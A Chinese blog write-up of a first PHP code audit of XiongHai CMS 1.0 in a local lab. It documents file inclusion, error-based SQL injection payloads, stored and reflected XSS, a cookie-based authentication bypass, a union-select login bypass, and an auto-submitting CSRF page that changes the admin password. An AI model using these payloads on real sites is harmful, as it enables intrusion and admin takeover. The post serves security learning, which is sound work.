• php代码审计初试-熊海CMS1-0


    源码下载

    站长下载:http://down.chinaz.com/soft/36930.htm

    环境配置

    VSCode phpstudy2018 php5.6.27

    配置方法:国光大佬https://www.sqlsec.com/2020/09/xdebug.html

    CMS目录

    admin             --后台文件夹
    css               --css文件夹
    files             --存放网站的各种功能页面文件夹
    images            --存放图片文件夹
    inc               --配置文件夹
    install           --网站安装文件夹
    seacmseditor      --网站的编辑器文件夹
    template          --模板文件夹
    upload            --存放网站上传的文件
    index.php         --网站入口
    

    入口分析

    index.php

    <?php
    //单一入口模式
    error_reporting(0); //关闭错误显示
    $file=addslashes($_GET['r']); //接收文件名
    $action=$file==''?'index':$file; //判断为空或者等于index
    include('files/'.$action.'.php'); //载入相应文件
    ?>
    

    get接收r,包含r名的php文件,没有经过过滤可以跨目录包含任意php文件

    写一个phpinfo文件包含尝试、
    upload successful

    继续查看files/index.php

    upload successful
    34行

    <a href="?r=content&cid=<?php echo $toutiaoimg['id']?>"
    

    跟进一下

    upload successful
    get接收了cid,经过addslashes函数,转义了单引号(')、双引号(")、反斜线()与 NUL(NULL 字符)
    upload successful
    绕过addslashes()方法

    1.没有使用单引号或双引号闭合,直接注入己可

    2.宽字节注入

    %df%27
    gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的也就是%5c变成了一个汉字“運”,而’逃逸了出来

    3.经过编码后转义在解码插入sql语句

    upload successful
    查看编码不是gbk,放弃宽字节注入

    发现19行的查询id并没有进行单引号或双引号闭合,可以注入,而且可回显,直接报错注入

    ?r=content&cid=1 or(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))
    

    upload successful
    upload successful

    继续看154有留言功能

    upload successful

    跟进一下(content.php后面也没传参代码)

    先设置了session,对传入的type进行了addslashes()其他的参数暂时并未转义

    进行了验证码的判断

    if(strtolower($_POST['randcode'])<>addslashes($_SESSION['randcode'])){ 
    echo "<Script language=JavaScript>alert('抱歉,验证码错误,请重新输入!');history.back();</Script>";
    exit; 
    }
    

    然后是对是否为空的判断
    35~38是对判断评论是否含有GBK中文编码汉字

    if (!preg_match("/([x81-xfe][x40-xfe])/", $content, $match)) {
    echo "<Script language=JavaScript>alert('亲,再说点别的了吧?');history.back();</Script>";
    exit;	
    }
    

    48行

    $content= addslashes(strip_tags($content));//过滤HTML
    

    strip_tags从字符串中去除 HTML 和 PHP 标记
    又进行了addslashes转义

    个人目前觉得没问题

    66行,发现mail没用经过任何过滤 拼接到查询语句中
    存在sql注入,闭合标签,报错注入

    $query = "SELECT * FROM interaction WHERE( mail = '$mail')";
    

    payload:

    ') and updatexml(1,concat(0x7e,user()),1)#
    

    继续向后看,根据配置设置不同的参数,暂时不管

    121行~147行进行将传参放入数据库中,发现很多参数没用经过过滤存在存储xss,sql注入
    比如name参数
    存储xss,发现前台输出评论时也没经过任何过滤

    upload successful
    后台输出时候也没经过过滤,所有可以打后台

    upload successful
    payload:

    <script>alert(1)</script>
    

    upload successful
    sql报错注入,因为有回显

    ' and updatexml(1,concat(0x7e,user()),1) and '
    

    拼接后执行的语句

    "INSERT INTO interaction (
    type,
    xs,
    cid,
    name,
    mail,
    url,
    touxiang,
    shebei,
    ip,
    content,
    tz,
    date
    ) VALUES (
    '1',
    '1',
    '5',
    '' and updatexml(1,concat(0x7e,user()),1) and '',
    'name',
    'http://name',
    '81',
    'PC',
    '127.0.0.1',
    'name sql 测试',
    '1',
    now()
    )"
    

    通过引号的闭合执行语句

    继续
    if ($pltz==1)执行下面的代码,发现中间sql的查询
    upload successful
    而且cid的变量未经过过滤

    查看如何让pltz==1

    upload successful
    需要站长开启,新留言评论通知,我们开启尝试一下
    upload successful
    报错注入,同样有回显
    payload(type要等于comment或download,这样type才能等于1or3
    才能执行sql语句):

    5)%20and%20updatexml(1,concat(0x7e,user()),1)#
    

    upload successful

    继续看file下的文件

    about.php contact.php 同理

    upload successful
    contact.php还存在反射形xss
    upload successful
    payload:

    /?r=contact&page=<script>alert(1)</script>
    

    upload successful

    software.php

    upload successful
    同理第二个地方存在注入

    payload:

    1 and updatexml(1,concat(0x7e,user()),1)#
    

    admin目录

    入口文件同初始入口目录相同,也同样存在文件包含

    <?php
    //单一入口模式
    error_reporting(0); //关闭错误显示
    $file=addslashes($_GET['r']); //接收文件名
    $action=$file==''?'index':$file; //判断为空或者等于index
    include('files/'.$action.'.php'); //载入相应文件
    ?>
    

    继续进入/admin/files/index.php目录

    <?php
    require '../inc/checklogin.php';
    require '../inc/conn.php';
    $indexopen='class="open"';
    ?>
    

    查看checklogin.php对登录的验证

    <?php
    $user=$_COOKIE['user'];
    if ($user==""){
    header("Location: ?r=login");
    exit;	
    }
    ?>
    

    也就是说如果cookie中的user不为空就可以直接跳过登录,存在未授权访问
    upload successful
    这里index里还包含了后台的菜单等会再看
    先查看登录页面login.php
    upload successful
    username并未经过过滤,存在sql注入
    upload successful
    同时这里还存在任意密码登录

    参考大佬的文章(涨知识了):https://xz.aliyun.com/t/7629

    什么原理呢??它这里通过查询返回的passwd字段与传入passwd的md5比较
    而这个passwd字段我们是可控的,那么就任意密码登录了
    upload successful

    upload successful

    所以payload:

    username:1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
    password:1
    

    这样比注入拿到md5的passwd反过来解登录舒服
    登录跳转回index,查看刚刚index没看的后台菜单
    95行调用了/template/top.php
    upload successful
    跟进看一下

    upload successful
    54行对cookie的user并未经过任何过滤直接执行sql,存在cookie注入
    而且有回显报错注入
    upload successful
    继续查看/template/sidebar.php
    有发布内容 内容管理 栏目管理 友情链接
    互动 设置等功能
    查看发布内容
    adminfiles ewwz.php
    upload successful
    查看对于上传文件的处理
    upload successful
    获取文件名称后三个字母

     function GetFileTypeToString()
     {
      if( ! empty( $this -> uploadFile[ 'name' ] ) )
      {
       return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );  
      }
     }
    }
    

    后三个字母进行白名单处理

    function GetFileMIME()
     {
      return $this->GetFileTypeToString();
     }
    function CheckFileMIMEType()
     {
      $pass = false;
      $defineTypeList = strtolower( $this ->defineTypeList);
      $MIME = strtolower( $this -> GetFileMIME());
      if (!empty ($defineTypeList))
      {
       if (!empty ($MIME))
       {
        foreach(explode("|",$defineTypeList) as $tmp)
        {
         if ($tmp == $MIME)
         {
          $pass = true;
         }
        }
    

    到目前为止其实还是可以绕过的,可以利用shell.php/jpg
    test.php%00.jpg test.php:1.jpg(windows)

    取决于你的保存方式

    查看保存

    upload successful
    随机数+时间加文件名后三位,就是检测的后三位,抬走上传不了(个人理解)即使传图片马利用文件包含但是我们没似乎也不知道文件名

    继续看发布文章,83行没有经过过滤直接插入数据库存在sql注入
    upload successful
    payload:

    1' and updatexml(1,concat(0x7e,user()),1) and '
    

    发布下载newsoft和上面一样不看了

    继续看wzlist.php

    upload successful
    同样原理sql注入不在多说,编辑文章和上面一样
    softlist.php和newsoft一样不看了
    继续看栏目管理
    newcolumn.php没有过滤sql注入(同样原理)
    upload successful
    columnlist.php sql注入
    upload successful
    后面的各种设置漏洞都差不多
    查看修改密码部分

    upload successful
    修改密码并没有要之前的密码,而验证是否是管理员
    还是cookie的方式
    所以存在csrf
    burp抓包
    upload successful

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
      <script>history.pushState('', '', '/')</script>
        <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://127.0.0.1/xhcms/admin/?r=manageinfo", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
            xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------36130568313950689285470620618");
            xhr.withCredentials = true;
            var body = "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="user"
    " + 
              "
    " + 
              "admin
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="name"
    " + 
              "
    " + 
              "admin
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="password"
    " + 
              "
    " + 
              "12345
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="password2"
    " + 
              "
    " + 
              "12345
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="mail"
    " + 
              "
    " + 
              "me@isea.so
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="qq"
    " + 
              "
    " + 
              "86226999
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="images"; filename=""
    " + 
              "Content-Type: application/octet-stream
    " + 
              "
    " + 
              "
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="save"
    " + 
              "
    " + 
              "1
    " + 
              "-----------------------------36130568313950689285470620618--
    ";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
              aBody[i] = body.charCodeAt(i); 
            xhr.send(new Blob([aBody]));
          }
        </script>
        <form action="#">
          <input type="button" value="Submit request" onclick="submitRequest();" />
        </form>
      </body>
    </html>
    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
      <script>history.pushState('', '', '/')</script>
        <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://127.0.0.1/xhcms/admin/?r=manageinfo", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
            xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------36130568313950689285470620618");
            xhr.withCredentials = true;
            var body = "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="user"
    " + 
              "
    " + 
              "admin
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="name"
    " + 
              "
    " + 
              "admin
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="password"
    " + 
              "
    " + 
              "12345
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="password2"
    " + 
              "
    " + 
              "12345
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="mail"
    " + 
              "
    " + 
              "me@isea.so
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="qq"
    " + 
              "
    " + 
              "86226999
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="images"; filename=""
    " + 
              "Content-Type: application/octet-stream
    " + 
              "
    " + 
              "
    " + 
              "-----------------------------36130568313950689285470620618
    " + 
              "Content-Disposition: form-data; name="save"
    " + 
              "
    " + 
              "1
    " + 
              "-----------------------------36130568313950689285470620618--
    ";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
              aBody[i] = body.charCodeAt(i); 
            xhr.send(new Blob([aBody]));
          }
        </script>
        <form action="#">
          <input id="lnng" type="Submit" value="Submit" onclick="submitRequest();" />
        </form>
          <script type="text/javascript">                          // js自动点击
          var lnng = document.getElementById("lnng");
          lnng.click();
      </script>
      </body>
    </html>
    

    设置js自动点击,在设置之前的存储xss跳转到csrf页面
    成功修改密码

    后台中还有很多比如删除文章等地方同样存在csrf,同样原理

    最后

    第一次代码审计选了个简单的cms,不涉及框架很适合我这种小白,体验还不错(其实看了蛮久的,唉)

    如有错误请大佬指点,感谢

    参考文章

    evils大佬:https://evi1s.com/archives/124/
    最后欢迎访问我的个人博客:https://lnng.top/
    说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

  • 相关阅读:
    ES6学习--函数剩余参数 (rest参数)
    ES6学习 --函数参数默认值与解构赋值默认值
    ES6学习--Array.from()方法
    02ython基础知识(一)
    01 Python初探
    c#利用IronPython调用python的过程种种问题
    Android 对话框(Dialogs)
    不可不知的安卓屏幕知识
    C#中的Split用法以及详解
    关于XML文档操作类
  • 原文地址:https://www.cnblogs.com/Lmg66/p/14608577.html
Copyright © 2020-2023  润新知